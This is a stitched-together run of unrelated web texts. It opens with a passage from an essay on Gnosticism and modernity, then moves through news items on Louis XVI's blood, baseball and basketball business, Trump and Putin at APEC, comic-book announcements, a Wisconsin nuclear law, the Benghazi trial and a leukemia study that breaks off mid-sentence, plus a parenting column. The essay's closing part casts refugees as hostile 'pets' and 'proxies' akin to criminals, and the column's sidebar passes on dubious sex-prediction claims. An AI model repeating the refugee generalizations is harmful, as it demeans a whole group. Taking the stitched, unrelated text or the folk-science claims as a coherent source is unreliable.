Fascism, and even Industrialism – all of these phases are essentially anti-Traditional and therefore, because the Tradition of the West is Christian, anti-Christian. Thus while in Liberalism, this animus “is not an attitude of open hostility,” nevertheless Liberalism’s attitude towards the cultural inheritance is one of supercilious false tolerance. Classical Liberalism reduces the vocabulary of verities stemming from Christian Revelation to a collection of metaphors on the way of banishing them from usage altogether. Under Liberalism, “Truth, in a word, has been ‘reinterpreted’; the old forms have been emptied and given a new, quasi-Nihilist content.”  In Father Seraphim’s argument, “The modern mentality cannot tolerate… God”; that is, the God of Christian Revelation, who “is the supreme end of all creation and, Himself, unlike his creation.” Liberalism, in the form of the Enlightenment, creates a counter-God although perhaps a counterfeit God would be a more accurate locution. As Father Seraphim writes, “A ‘new god’ is clearly required by modern man, a god more closely fashioned after the pattern of such central modern concerns as science and business.” The “new god” may take many – even dazzling – forms but “all modern gods are of the same construct, fabricated by souls dead from the loss of faith in the true God.” In Father Seraphim’s argument, once again, atheism is at best hypocritical. Even when Liberalism has advanced through Realism and Vitalism to become active Nihilism, the atheism that it espouses, institutes, and would force on everyone through implacable “re-education,” is not God-less. Father Seraphim addresses the paradox this way: The self-proclaimed atheist is actually a partisan against God. In the case of Proudhon, for example, the polemicist “declared himself, not an atheist, but an ‘antitheist.’” The active Nihilist is theologically a rebel against God – like Proudhon or Nietzsche or Sartre.  Father Seraphim characterizes “the Nihilist faith” as “the precise opposite of Christian faith” although being opposite it also constitutes a mirror-image. Rebelliously such a doctrine founds itself on “doubt,” partly externally and partly internally directed, in the common pattern; “suspicion, disgust, envy, jealousy, pride, impatience, [and] blasphemy.” Moreover, this anti-faith consists in “an attitude of dissatisfaction with self, with the world, with society, with God,” and it cannot rest until it alters these to correspond with its own image – or abolishes, annihilates, them. It would be easy to identify specific instances of this attitude in writers like Richard Dawkins or the late Christopher Hitchens, or in twenty or thirty of their contemporaries who fit the bill. More importantly, the character that Father Seraphim attributes to his active Nihilists is the same as the one that Voegelin attributes to his Gnostics whether ancient or modern.  Another incisive critic of modernity in whose pages the terms Gnostic and Gnosticism go conspicuously absent is Henri de Lubac (1896 – 1991). In The Drama of Atheist Humanism (1944), dealing with Nietzsche, Lubac composes a phenomenology of Gnostic conviction – first, that all received truths are in fact false and then, by a contradiction in terms that the convert ignores, that this revelation of total falsehood is, itself, a truth. This inverted knowledge, which justifies the murder of God, is, as Lubac writes, dizzying. The news that “God is dead” sends the mere common man reeling in vertigo, but not so the Superman: “At last, a few, rare spirits who carry in them the destiny of mankind resist the dizziness that assails them. They feel it, at first, like the others, for they are human, and more than all the rest they are aware of the enormity of what has happened and the losses involved.” Gradually it dawns on these extraordinary specimens of humanity that, learning to command their inebriation, they might grow empowered: “Their energy is equal to their perspicacity. Alone in their power to see things as they are, they bring a perfectly clear mind to bear upon the outrage they have perpetrated and thus transform the crime into an exploit.”  In reading Zarathustra, Lubac remarks how Nietzsche’s pseudo-prophet, using a pseudo-religious language borrowed from Luther’s Bible, extols his own great “loneliness” after the death of the God whom he has killed. The demiurgic responsibility now befalls the deicide to “produce out of himself – out of nothingness – something with which to transcend humanity.” Indeed, in Lubac’s commentary, “The endurance test to which [the Superman] has condemned himself will reveal to him his own divinity by bringing it into being.” Employing a word that the contemporary North-American Left of 2015 has just about made its shibboleth, Lubac writes that for the Nihilist, who is not an atheist but an anti-theist, “the corpse of God in decomposition is not… a sign of death: It is the sign of a gigantic change.” [Emphasis added] Lubac concludes that Nietzsche was just as much a revolutionary as Marx. Given the confluence of their rhetorics in the self-image of Modernity, “it was not surprising that the drama that had taken shape in human minds quickly reached the point at which it burst forth in fire and slaughter.”  The foremost commentator on Voegelin, Ellis Sandoz, writes in his Voegelinian Revolution (1981) how “with the fall of faith, which broadly characterizes the modern era, an experiential alternative was demanded that lay close enough to faith to substitute for it.” As Sandoz writes, while “Gnosticism is the essence of modernity [in] Voegelin’s philosophy of politics,” nevertheless “it is not the whole of it.” Sandoz wrote those words thirty-five years ago. The passage of time has shrunk the part of the contemporary world that is not Gnostic; it has seen a marked decrease in the public influence of Philosophy and Christianity and an ever-widening metastasis of sub-Marxian and sub-Nietzschean attitudes. Thus when Sandoz reminds his readers that “the aim of Gnostic activism is the transfiguration of man into superman,” the observation will be even more poignant in 2015 than it was in 1981. A particularly repulsive variant of the Gnostic myth is currently working itself out in the West.  The Superman-goal of Gnosticism would seem to be incompatible with the radical egalitarian goal of the contemporary Left, which owns and controls all the central institutions of Western Society, including increasingly the Protestant denominations and the Catholic Church at its diocesan level and above. The apparent incompatibility of Supermanism and Multiculturalism is easily resolvable. It is important to remember that Gnosticism is perpetually parasitic: It invariably borrows the forms of Tradition so as, in the formula of Sandoz, to “supplant the truth of the soul” and, equally, to misrepresent reality, replacing it with “a counterexistential dreamworld” (Voegelin’s term). In addition, Gnosticism overlaps with Nihilism, which is implacably anti-Christian. Modernity is essentially anti-Christian. Finally, in Nietzsche’s codification, the Superman is not defined by intellectual sophistication but only by his brutal capacity not to cavil about the exercise of his will “beyond good and evil.” Under Gnostic manipulation, the word for this propensity is “peace.” The war against reality will be carried out under the password of “peace.”  The Marxian equivalent of Nietzsche’s Superman is the representative of what Lenin called the socially friendly classes – namely criminals, including murderers and rapists, who, like the revolutionaries, made war on middle class society. In Berthold Brecht and Kurt Weill’s Three Penny Opera (1933), Mack the Knife – whose exploits include burning down an orphanage in the middle of the night – is a socially friendly person. The people today euphemistically called refugees are also socially friendly from the point of view of the Multiculturalist Left. To say that the people called refugees are hostile to Western Civilization is to make an understatement. Although Western Civilization is at best vestigially Christian, both the elites of the Multiculturalist Left and their pets, those refugees, see it as Christian and hate it. Insofar as the proxies extravagantly hate and ferociously attack Western Civilization and actual flesh-and-blood Westerners, they qualify as Supermen, perfect soldiers of the Left’s Gnostic program of annihilation because even more than the Leftists they are beyond good and evil. Destruction, for the Gnostic, is a magical act that transforms reality, including the agent.  The deranged religiosity of the contemporary Western, anti-Western elites, and of their proxies, their devotion to the Cult of the Multi-Cult, fulfills the prediction in Voegelin’s mid-century analysis of the direction in Western civilization. Voegelin found a succinct portrait of the Gnostic regime in Hooker’s Laws and quoted that text in The New Science. Let the present essay close through a quotation from the Laws. “When the minds of men are once erroneously persuaded,” Hooker writes, “that it is the will of God to have those things done which they fancy, their opinions are as thorns in their sides, never suffering them to take rest till they have brought their speculations into practice.” For “the will of God” one may substitute “the agenda dictated by the doctrine.” The result will be “merciless cruelty” and the perpetration of “sacrifice,” as demanded by the mental idols.
-Image caption After Louis XVI's beheading, spectators dipped handkerchiefs in his blood  A team of scientists have said they believe an old gourd contains the blood of French King Louis XVI.  The monarch was killed by guillotine by French revolutionaries more than 200 years ago, on 21 January 1793.  The scientists said the DNA is very similar to genetic material from what is believed to be the mummified head of an earlier French king, AFP reports.  After Louis XVI's beheading many spectators were reported to have dipped their handkerchiefs in his blood.  The piece of fabric had been placed in a dried, hollowed-out gourd, leaving blood stains.  The squash was decorated with images of revolutionary heroes and the words: "On January 21, Maximilien Bourdaloue dipped his handkerchief in the blood of Louis XVI after his decapitation".  The revolutionary souvenir has been in the hands of an Italian family for a century.  'Paternally related'  Image caption The research suggests a genetic link between the remains of Henri IV and the blood-soaked gourd  The team of experts from Spain and France has published its findings in Forensic Science International journal.  Analysis of DNA taken from blood traces found inside the vegetable container had already revealed that it probably matched someone of Louis' description but scientists could not prove it belonged to the beheaded king as they had no genetic material from any of his relatives.  However, the team managed to find a rare genetic signature shared with DNA from a mummified head believed to belong to Louis' 16th Century predecessor, Henri IV, who was killed in 1610.  In 2010, scientists said the head belonged to Henri IV, saying it shared the same physical features as those illustrated in contemporary portraits of the king.  French forensic pathologist Philippe Charlier told AFP that the study revealed that both of those sampled "share a genetic heritage passed on through the paternal line. They have a direct link to one another through their fathers".  Co-author of the report, Carles Lalueza Fox, of the Institut de Biologia Evolutiva in Barcelona, was quoted as saying that it was "about 250 times more likely that the [owners of the] head and the blood are paternally related, than unrelated".
-Just like you, Justin Verlander has heard the trade rumors. This isn’t the first time, either. Detroit Tigers General Manager Al Avila personally prepared him to brace for that this offseason, when it became clear the team would entertain discussions about the ace.  And now, with a month to go before the MLB trade deadline, that chatter will intensify.  The 34-year-old pitcher has not given up on the possibility the Tigers could make a run and claw back into the wild card picture, but he’s also well aware that he may be facing one of the biggest decisions of his life in a mere matter of weeks. The recent trade speculation brought that reality to the surface.  “I can’t say it wasn’t expected,” Verlander told The Athletic on Friday. “We’re all aware that if we weren’t at a certain point right now — the team is going to be looking at, probably, to trade some guys, so to see my name out there, I’d say really no reaction. It’s not like the...
-President Trump and Russian President Vladimir Putin shake hands as they take part in a family photo at the APEC summit. Sputnik/Mikhail Klimentyev/Kremlin via REUTERS  DANANG, Vietnam (Reuters) - U.S. President Donald Trump and Russia’s Vladimir Putin shook hands at the Asia-Pacific Economic Cooperation (APEC) summit dinner in Vietnam on Friday, even though the White House said there would be no formal meeting.  Trump and Putin smiled and stood next to each other for the traditional group photograph. Then they parted to sit at different parts of the table.  The White House said earlier that no formal meeting was planned because of scheduling conflicts on both sides, though it was possible they would bump into each other.  “In terms of a scheduled, formal meeting, there’s not one on the calendar and we don’t anticipate that there will be one,” White House press secretary Sarah Sanders told reporters minutes before landing in Danang.  The main meeting of leaders from APEC countries is on Saturday in the Vietnamese resort city of Danang. Trump is on the fourth leg of a 12-day tour of Asia.
-Manga, comics and art book publisher UDON had plenty to announce at San Diego Comic Con including the Kill La Kill manga and impressive selection of new art book licenses.  Udon is commitment to the Street Fighter comics series with new hardcover editions have announced that Super Street Fighter V2 is almost complete.  They've also announced that the Street Fighter World Warrior Encyclopedia that will coming next year. The reprint feature new material Ultra and included brand new artwork.  And speaking of Capcom, they've announced that The Art of Phoenix Wright Ace Attorney: Dual Destinies is coming in 2015.  UDON has also secured the rights for the English-language edition of the Kill la Kill manga, which will be released in 2015  Upcoming Manga Classics include  The Scarlet Letter by Nathaniel Hawthorne  - Great Expectations by Charles Dickens  - Emma by Jane Austen  Two new titles appearing in December 2014:  - Katamari Volume 1 the collected ShiftyLook comic by Alex Culang and Raynato Castro  - Makeshift Miracle Volume 2: The Boy Who Stole Everything by Jim Zub and Shun Hong Chan  Record of Agarest War: Heroines Visual Book and Record of Agarest War 2: Heroines Visaul Book  Shining Blade and Ark, featuring the amazing work of Tony Taka! This title collections the artwork of the Shining Blade and Shining Ark games, and is UDON’s forth title in the Shining series.  Yu-Gi-Oh Dual Art collects the artwork of Takahashi Kazuki from the Yu-Gi-Oh series, including card art, personal illustrations, manga illustrations and more.  Osamu Tezuka art books!!! Osamu Tezuka Anime Character Sketchbook is an unprecedented look into the sketchbook drawings and designs of this master artist; Osamu Tezuka Anime Character Illustrations is a unique collection of character model sheets and animations spanning his impressive body of work.  UDON will be producing an English-language version of the Professor Layton Official Fanbook, published by Level 5 and QBIST in Japan.  Gungnir Official Art Chronicle is based on an epic Norse-inspired JRPG and is part of the “Dept. of Heaven” series.  Border Break Artworks, UDON’s first full-on mecha art book! Chock full of schematics, sketches, pilot designs and background materials  Finally, they announced plans for Robotech/Macross art books More details to come soon.  .@UdonEnt at #sdcc - comic-coen debut editions of SF25: the art of street fighter & Udon's art of Capcom pic.twitter.com/mhRxtTRiDo — Deb Aoki (@debaoki) July 27, 2014  .@UdonEnt at #sdcc - The Art of Phoenix Wright - Ace Attorney: Dual Destinies - coming 2015! pic.twitter.com/wUPnnTC01H — Deb Aoki (@debaoki) July 27, 2014  .@UdonEnt at #sdcc - Katamari Damacy comics by Alex Culang & Raynato Castro (buttersafe) - part of shiftylook comix pic.twitter.com/jUw2EfFtuL — Deb Aoki (@debaoki) July 27, 2014  .@UdonEnt at #sdcc - Katamari Damacy comics by Alex Culang & Raynato Castro (buttersafe) - part of shiftylook comix pic.twitter.com/jUw2EfFtuL — Deb Aoki (@debaoki) July 27, 2014  .@UdonEnt at #sdcc - New artbook license: Yu Gi Oh Duel Art: Art of Takahashi Kazuki - 2015 pic.twitter.com/dQsGT3dqDD — Deb Aoki (@debaoki) July 27, 2014  ------  Scott Green is editor and reporter for anime and manga at geek entertainment site Ain't It Cool News. Follow him on Twitter at @aicnanime.
-The Business of the Nets: Finding Reasons to Believe  With a new co-owner, young talent and an uptempo style of play, the rebuilding Brooklyn team is sparking optimism  It has been about ten days since SI.com extolled in a headline “Don’t Look Now, But the Nets Are Fun Again.” At the time, the team was 3-2 with a solid win at home against LeBron James and the Cavaliers.  It would have been understandable to expect the worst this season. The Brooklyn Nets ended last year in the basement of the Eastern Conference and the worst record in the NBA with a paltry 20 wins. Then, in the first game of the season, the only player a casual Brooklyn fan would have heard of, point guard Jeremy Lin, was lost to a season-ending injury. With him, one might expect, went a healthy amount of optimism … and ticket sales. Still, three wins in five games earned them that Sports Illustrated headline.  Then, in a return to last year’s form, came four straight losses to the Knicks, Nuggets, Suns and Lakers. Today the Nets carry a record of 3-6 and sit in third-to-last place in the Eastern Conference.  Still, there may be hope. It’s early, they aren’t quite in the basement again, and a 33-point game from D’Angelo Russell on Halloween (the loss to the Suns) offers at least a glimmer of hope that coach Kenny Atkinson’s recipe of youth mixed with high-octane offense might make some noise.  The ownership had better hope so. Through their first five home games, the Nets are averaging the third-worst attendance in the NBA: just 15,116 per game, leaving about 3,000 empty seats. All of which might help explain that the most exciting thing out of Atlantic and Flatbush of late is the news that Alibaba co-founder and vice chairman Joe Tsai has agreed to pick up a 49% minority stake in the team along with an option to take a controlling interest in 2021. Russian billionaire owner Mikhail Prokhorov will maintain his control until then and will continue to be in charge of basketball operations as well. Tsai, as a minority owner, will not affect what you see on the court. For now.  Lofty Valuation  The deal to bring in Tsai has the team valued at $2.3 billion, beating the previous NBA record of $2.2 billion, the price billionaire and Landry’s Restaurant CEO Tilman Fertitta paid for the Houston Rockets earlier this year. This further proves the hypothesis that there is no such thing as a bad investment in the four major sports leagues anymore. According to NBA financials outlined in this ESPN article, the Nets lost an eye-popping $144 million in 2013-14 and $23.5 million last year. Its local TV deal and local revenue ranked in the same place as the team last year: Dead last. Yet still, that valuation!  Not part of the deal is the ownership of the Barclays Center itself. That will be retained by Prokhorov, while the team is expected to settle in for the long haul with a new lease to be negotiated soon.  Who is Joe Tsai?  Joe Tsai was born in Taipei, Taiwan, and was educated in New Jersey (Lawrenceville Prep) and Connecticut (Yale). In 1999 Tsai, along with Jack Ma and 16 other co-founders launched the Chinese online shopping service Alibaba with $25 million in investments from the likes of Goldman Sachs and Softbank. Eighteen years later the company, traded on the New York Stock Exchange (symbol: BABA), sports a market capitalization of nearly $480 billion.  As for Tsai, the Brooklyn Nets won’t be the first sports team he calls his own. Tsai played lacrosse in both high school and college and announced this summer that he would bring a new team to the National Lacrosse League (an indoor league), the San Diego Seals.  NBA in Asia  The NBA as a league must be excited to have Tsai on board. His strong ties to Asia will certainly come in handy as American sports grow in prominence across the Pacific.  The NBA is now the most-followed sports league online in China. During last year’s playoffs, Weibo, a major social media platform there, reported 2.9 million video views as Steph Curry and the Warriors made their run to the championship. The Warriors responded with a week-long trip there last month before the season began, including several preseason games.  Weibo’s parent company, Tencent, is in the middle of a five-year deal for the Chinese digital rights to the league’s games and other content, worth $700 million.  Finding a Way to Win Again  Still, back home in Brooklyn, all this doesn’t mean much unless the Nets can find a way to win again. With only the Bulls and Hawks sporting a worse record in the Eastern conference, it seems it will take more than the solid play of Russell to get the job done. There’s plenty of room for second-guessing about the deals involved in the team’s recent makeover. The Nets last game, the loss to the Lakers last Friday, featured great performances from two players who, under different circumstances, might have been on Brooklyn’s roster but are now leading Los Angeles in points per game: former Net Brook Lopez and rookie Kyle Kuzma, who the Lakers signed with the draft pick they got from the Nets.  THE BRIDGE NEWSLETTER SIGN UP FOR BROOKLYN BUSINESS NEWS Leave this field empty if you're human:  The Nets are a young team, with room to grow. Behind Russell’s average of 21.1 points per game is Rondae Hollis-Jefferson who, in his third season, is tallying up 15.7 points per game. That’s nearly double his season-long PPG average last year, a strong sign that he’s reaching his potential. After Hollis-Jefferson there’s DeMarre Carroll, Allen Crabbe and a host of other solid-but-not-stellar talent. General Manager Sean Marks has turned over virtually the entire roster since coming on board in February 2016, but it may take help from another trade to get the fire started in Brooklyn.  The other glimmer of hope lies in Atkinson’s Xs and Os. The Nets have the highest “pace factor” in the NBA, a statistic measuring the number of possessions a team has in a game. The Nets’ is over 109. The key now is to improve the efficiency of those possessions. The Nets are 15th in the NBA in that regard. That’s not too big a mountain to climb, and perhaps one well-placed personnel move can get that ranking high enough to bring back some winning ways.  Who’ll step up to fill the void, either from within the team or outside, is the No. 1 point of speculation about this rebuilding team.  Go here to read our story about how the Nets picked five local designers to supply the look for their new apparel-and-accessories line, dubbed Brooklyn Cool.
-× Gov. Walker signs bill that lifts Wisconsin’s ban on new nuclear plants  MADISON — Gov. Scott Walker has signed sign a bill lifting Wisconsin’s ban on new nuclear plants.  State regulators currently can’t approve a new nuclear plant unless a federal facility for storing waste exists and the plant doesn’t burden ratepayers. No such federal facility exists.  The bill would erase the storage and ratepayer clauses from state law, clearing the way for new plants. The bill’s Republican authors argue nuclear power is a renewable energy source and the ratepayer language duplicates other sections of state law that require regulators to determine that any new power plant won’t burden customers.  Democrats say nuclear power is too dangerous, pointing to a meltdown at Japan’s Fukushima plant in 2011.  Walker signed the bill Friday at the Wisconsin Energy Institute at the University of Wisconsin-Madison.
-It's taboo to admit it, but I wish my unborn baby wasn't a beastly boy!  Published: 21:05 EST, 9 December 2012 | Updated: 04:34 EST, 12 December 2012  Girl power: Esther with her daughter Kitty at home  Please, not a boy,’ I hissed at my sister Harriet. ‘If it’s a boy, I’ll just die. I can only deal with one man in my life... and sometimes that’s one too many.’  I’d just announced my second pregnancy, and a nagging fear that had started from the moment I saw my positive pregnancy test weeks earlier had grown into a full-blown conviction that I felt ashamed to admit out loud. I really didn’t want a boy.  Please don’t condemn me. I know very little about boys, coming from a family of all girls, but what I have seen I really haven’t liked. Boys are gross; they attack their siblings with sticks, are obsessed with toilets, casually murder local wildlife and turn into disgusting teenage boys and then boring, selfish men.  My husband Giles and I already have one girl, 22-month-old Kitty, and my second pregnancy had been so different and so much worse than my first, with horrid morning sickness from the outset, that I was starting to panic that there was something radically different about it, i.e. there was that alternative, dreaded gender in the mix.  There were reasons why I could confess my boy aversion only to my sister. Mothers who declare a gender preference out loud are breaking a huge taboo — the acceptable thing to say is that your only care is that the child is healthy and happy.  If someone is rude enough to press you, you must stare off into the distance with a martyrish look on your face and say: ‘Well, I suppose it would be nice to have one of each.’ And then you leave it there.  If you are like Victoria Beckham or Jools Oliver and already have three of one gender, you are allowed to hope for one or the other, but that’s the only situation in which it’s acceptable to have any opinion. Otherwise you are just a bit monstrous and ungrateful — what about all the women who can’t have children at all?  But the truth is I like girls, I understand girls and I’ve always dreaded the idea of having a boy. People say how emotionally uncomplicated boys are and how manipulative and fussy girls are. But what use is a plain-speaking boy to me? I wouldn’t know where to start. I know exactly where I am with girls and their petty mind games. I’ve played them myself. I’m a Grand Master of them.  But alas, it seemed Mother Nature had other ideas. The other day, I lay in the sonographer’s office as he moved the ultrasound wand over my already-fat stomach, and my worst fears were confirmed.  ‘There are the hands, there . . .’ he said. He moved the wand around for the ‘up-skirt shot’ as my husband calls it. ‘And there are the soles of the little feet,’ he cooed. There was a loaded silence as we both stared at the white smudge on the screen between the legs.  ‘Oh God, is it a boy?!’ I said, a little bit too loudly.  ‘Well,’ said the sonographer. ‘You can’t confirm anything at 12 weeks, you really have to wait to 20 weeks to be sure, but . . . it does look suspicious, doesn’t it?’  I felt light-headed; was the nausea I was feeling from morning sickness or horror at the prospect of a man-child?  Out on the street I dialled Giles, with a shaking hand. He feels exactly the same as I do. His adoration, worship, love and fanatical devotion to our daughter since the day of her birth has made the idea of having a boy unthinkable.  Acceptable: According to Esther, you are allowed to to hope for a boy or a girl when you already have three of one gender like Victoria Beckham (right) and Jools Oliver (right)  When he picked up the telephone he told me he was drawing bees and cats with Kitty in her big drawing book (the one with the flowery cover, and using an assortment of strawberry scented, glittery pens with pink feathers on the ends).  ‘Had the scan,’ I blurted out. ‘All fine, only one head, in the right place and all that. And, it looks like it might be . . .’ I stalled, praying he would be more enthusiastic about the prospect of a boy than me ‘. . . a BOY!’  ‘Oh,’ said Giles. ‘Great!’ But I could tell his heart wasn’t in it.  He wants only girls in his life, he confessed later. Sweet little girls who will stroke his face, kiss his nose and say ‘Love you Daddy’, not little boys with their dramatic weeing, endless reeling off of statistics, messiness and demands to kick around a football on freezing, dank Sunday mornings.  He has been badly affected by a tale he was told by a father of three boys, describing how he’d spent a beach holiday last year.  ‘I was being Action Dad, throwing Frisbees, rock pooling, hurling myself into waves,’ said the dad. ‘It was exhausting. We were pitched on the beach next to a dad of two girls and he was reading a book while they brushed his hair, fetched him beer and painted his toenails. I love my boys but it did look like this guy was having a pretty amazing holiday.’  This story still ringing in his ears, I knew that Giles wouldn’t be any more thrilled than I was about our impending arrival — a fact which made me feel even more guilty.  What is wrong with us? How could I — how could we — be so mean and cold as to have such a strong preference as to the gender of our unborn child? There’s a reason that it’s taboo to admit to these feelings: they are deeply unpleasant.  Yet they are not entirely without foundation.  Mummy's little girl: Esther Walker with her daughter Kitty pictured on the beach  Neither Giles nor I come from a family of men. Indeed, we are from families of women. I have three sisters. My husband has one sister. My mother has two sisters, as does my father. When casually discussing the issue of fidelity, one Christmas my father looked up from the historical biography he was engrossed in and said: ‘An affair is out of the question for me; I need another woman in my life like I need a hole in the head.’ Then he held out his teacup for a refill.  It is little wonder we are suspicious of little boys. Deeply, deeply suspicious. I once read a survey that had found families with two girls were the happiest and I chose to believe it completely.  It’s not just me. Mumsnet identifies the phenomenon of the SMOG — the Smug Mother Of Girls. They love their little girls and find boys yucky, noisy, smelly, boisterous and destructive. At playgroups, they will draw their girls closer to them when any boy comes within three feet.  It used to be that having children was just a biological imperative — you are born, you grow up, you have children and that’s it. It’s now a lifestyle choice. You’re not just a mother, you’re a Yummy Mummy, or a Boden Mum, or a Hippy Mum, a Working Mum, or a Slummy Mummy. You are a type, a tribe, a sort.  To offset the occasional hardship and boredom of looking after small children, you get in return a fashion accessory to mould in your own image, or a crazy idealised image you saw in a magazine.  Little girls, with their own interest in wholesome things and willingness to have their hair done and to wear dainty shoes, fit in with this ridiculous pursuit of the picturesque and the perfect in a way that riotous little boys do not.  For most boys don’t want to do nice things like baking, colouring in, and making up their own dances to Disney theme songs. They want to kill ants and shout, wee in clean laundry, break things, hurl cricket balls through windows and upset next door’s cat.  Girly time: Esther Walker (pictured with her daughter) likes girls and has always dreaded the idea of having a boy  And, in the end, your boys will leave you for another woman. They will get girlfriends, who will be hateful and wilful and annoying.  These girls might even — horror! — marry your son and take him, and your grandchildren, away for ever. It is the mother of the bride who is the centre of attention, it is the maternal grandmother who traditionally gets the action with the grandchildren. You stand to lose everything!  Yet, despite my fears, rationally speaking, I know I am being unfair. Of all the little boys I know — and I know an awful lot, including my three nephews — I only know two who are really horrid, whom I avoid because they are so violent and crazed.  My nephews can be charming with my daughter, throwing balls to her or bringing her toys they think she might like. They laugh until they cry when she takes a long drink of water and then gasps ‘Ahhh!’  And, by the same token, I know several vile little girls, who snatch and scream and throw tantrums and narrow their eyes at my daughter and shriek ‘No babies allowed!’ because she is a few months younger than them.  More to the point, there is no getting away from the fact that my new baby is a boy, and I have no choice but to get used to it. I will have to get used to a different nappy-changing experience and accept that there will be a lot more plastic dinosaurs in the house.  I must put aside my daydreams of Kitty and her little sister holding hands, dressed as fairies or angels. I will have to get used to the house being much noisier and being held up in the kitchen at plastic-cutlass point. I will just have to hope that Kitty and her brother can find things that they like doing together.  This will be helped by the fact that, if I’m honest, Kitty isn’t exactly like the little girls in the Boden catalogue: she won’t let me put her hair in bunches and she’s fond of heading straight to the most enormous, stinking puddle she can find and jumping in it.  In fact, while my husband and I might be worried about a little boy spoiling our vision for a sweet-smelling, calm little family with a fondness for all things pink, Kitty would probably like nothing better than a baby brother with whom she can get muddy.  Although if I send him off to playgroup wearing a tutu, that’s my business...  THE CLUES THAT KATE'S HAVING A GIRL  Science and folklore suggest that Kate Middleton will have a girl While we now know that the Duke and Duchess of Cambridge’s baby will be third in line to the throne whether it is a boy or a girl, we are still no closer to confirming its gender. Yet science and folklore both give us clues that suggest William and Kate will have a daughter. For starters, Kate’s debilitating morning sickness, hyperemesis gravidarum, is more commonly found among women expecting girls. And the Duchess’s slim build may also hint at a royal daughter. A 2008 study at the University of Exeter showed women who consumed lower-calorie diets were more likely to have girls because female foetuses can survive on fewer nutrients. Then William’s occupation as an RAF search-and-rescue pilot could also play its part. An American study found pilots had an 80 per cent chance of having girl babies. One theory is that exposure to radiation on planes reduces the number of sperm carrying male chromosomes, but sperm carrying hardier female chromosomes are unaffected. And if Kate is spotted leaving a Kensington dermatologist, it’s odds-on for a daughter. French researchers found that mothers who suffered acne while pregnant were 90 per cent more likely to give birth to a girl due to excess levels of the female hormone oestrogen. On the other hand, there may be some truth in the idea that women who suffer cold feet will have a son. Cold feet are a symptom of poor circulation — and German scientists have found that this condition during pregnancy is often experienced among women expecting boys, though they haven’t yet been able to explain why. If all else fails, there is one final method of prediction: ask the Duchess whether she thinks she is expecting a boy or a girl. According to scientists from Arizona, women’s intuition is the most accurate gender predictor of all.  Asked to guess the sex of their child, mothers-to-be are correct 70 per cent of the time.  So, Kate, spill the beans. Is it a boy or a girl? Alice-Azania Jarvis . .  Share or comment on this article  . . .
-Christopher Stevens, the U.S. ambassador to Libya, smiles at his home in Tripoli June 28, 2012. Stevens and three embassy staff were killed late on September 11, 2012, as they rushed away from a consulate building in Benghazi, stormed by al Qaeda-linked gunmen blaming America for a film that they said insulted the Prophet Mohammad. REUTERS/Esam Al-Fetori  WASHINGTON (Reuters) - Federal prosecutors opened their case against Ahmed Abu Khatallah on Monday by telling jurors he orchestrated the 2012 attack on a U.S. diplomatic compound in Benghazi, Libya, that killed U.S. Ambassador Christopher Stevens and three other Americans.  Khatallah has been awaiting trial since 2014, when he was captured by a team of U.S. military and FBI officials in Libya and transported on a 13-day journey to the United States aboard a Navy vessel.  In his opening statement in U.S. District court for the District of Columbia, federal prosecutor John Crabb said Khatallah hates America “with a vengeance” and played a leading role in organizing the Sept. 11, 2012, attack on the U.S. diplomatic mission in Benghazi.  Khatallah, he said, “didn’t light the fires and he didn’t fire the mortars but you will hear he is just as guilty as the men who lit those fires.”  Khatallah, who face charges including murder and providing material support to terrorists, sat at the table wearing a white shirt and headphones that allowed him to hear an Arabic translation of the proceedings.  Defense attorney Jeffrey Robinson denied that his client had anything to do with the planning of the attack.  “The evidence is going to show that Mr. Abu Khatallah did not participate in the attack,” he said.  Monday’s session included harrowing testimony from Special Agent Scott Wickland, who described how he tried to get Stevens and State Department staffer Sean Smith to safety as they crawled on their bellies through thick, black smoke as fire engulfed the mission.  “At first I had my hand on the ambassador and we were crawling,” he recalled.  “I was breathing through the last centimeter of air on the ground... and I am yelling to the other guys, ‘Come on! We can make it!”  “And within that 8 meters, they disappeared.”  Crabb, the prosecutor, also previewed some of the other testimony the jury will hear from witnesses who claim they heard Khatallah discuss his involvement in the attack.  One witness, who was later paid $7 million to help the United States lure Khatallah to the spot where he was captured, will tell jurors he heard the defendant say he “‘would have killed all of the Americans that night,'” Crabb said.  Crabb also showed grainy video footage from the night of the attack with images of more than a half-dozen suspected associates of Khatallah.  Khatallah appeared in one video as armed militia entered a room that held closely guarded maps and other records.  Robinson said his client went to the mission only to see what was happening and warned people to steer clear of the gunfire.  He also said some of the government’s witnesses “are people who lie.”  The trial, which resumes on Tuesday, is expected to last several weeks.
-St. Jude Children's Research Hospital -- Washington University Pediatric Cancer Genome Project team identifies genetic changes underlying a type of B-precursor acute lymphoblastic leukemia  An international team of researchers from the St. Jude Children's Research Hospital -- Washington University Pediatric Cancer Genome Project (PCGP) and the Children's Oncology Group (COG) has identified the genetic changes that underpin a subtype of the most common cancer found in children. This form of B-precursor acute lymphoblastic leukemia (B-ALL) features genetic changes to two transcription factors known as DUX4 and ERG, proteins that closely control the activities of other crucial genes in human blood cells. The findings are published online in the journal Nature Genetics.  Leukemia is the most common type of childhood cancer, and ALL accounts for around 30 percent of cancers in children. Precursor B-cell acute lymphoblastic leukemia (B-ALL) is, in turn, the most common type of ALL (around 80 percent). In B-ALL, immature white blood cells known as B cell lymphoblasts proliferate and accumulate rapidly in the blood and bone marrow.  "Our work is motivated by a lack of information on the genetic basis of many B-ALL cases," said corresponding author Charles Mullighan, M.B.B.S., M.D., a member of the St. Jude Department of Pathology. "We discovered a distinct gene pattern in blood samples from some patients in our study and wanted to determine the underlying molecular events behind this signal."  The researchers studied a group of 1,913 patients who had B-ALL to understand the subtype's genetic basis. This group of patients included children, adolescents and young adults. Microarray and transcriptome sequencing identified that 7.6 percent of these B-ALL patients had the distinctive genetic profile the scientists wanted to characterize further.  The scientists uncovered a unique mechanism for how a transcription factor leads to leukemia development.  "Our work revealed that in this type of B-ALL there is a sequence of molecular events that involves the interplay of two transcription factors," Mullighan said.  Transcription factors are proteins that bind to specific DNA sequences and regulate the expression of genetic information from DNA to messenger RNA. ChIP sequencing, a method that allows researchers to analyze how proteins interact with DNA, was crucial to reveal the link between the two transcription factors. Sequencing studies identified rearrangement of the transcription factor gene DUX4 in all cases in this subtype of ALL, resulting in high-level expression of DUX4. DUX4 was shown to bind to the gene for the transcription factor ERG, leading to deregulated expression of ERG. The deregulation of ERG compromised the function of ERG either by deletion of part of the gene, or by the expression of another form of ERG (ERGalt). In both cases, loss of activity was observed for the ERG transcription factor, which led to leukemia.  "The discovery of the connection between DUX4 fusion and the aberrant ERG isoform required integrating whole-genome sequencing, RNA-seq and ChIP-seq data using novel computational approaches that we developed," said Jinghui Zhang, Ph.D., chair of the St. Jude Department of Computational Biology and the paper's first author. The genomic landscape of this subtype of B-ALL can also 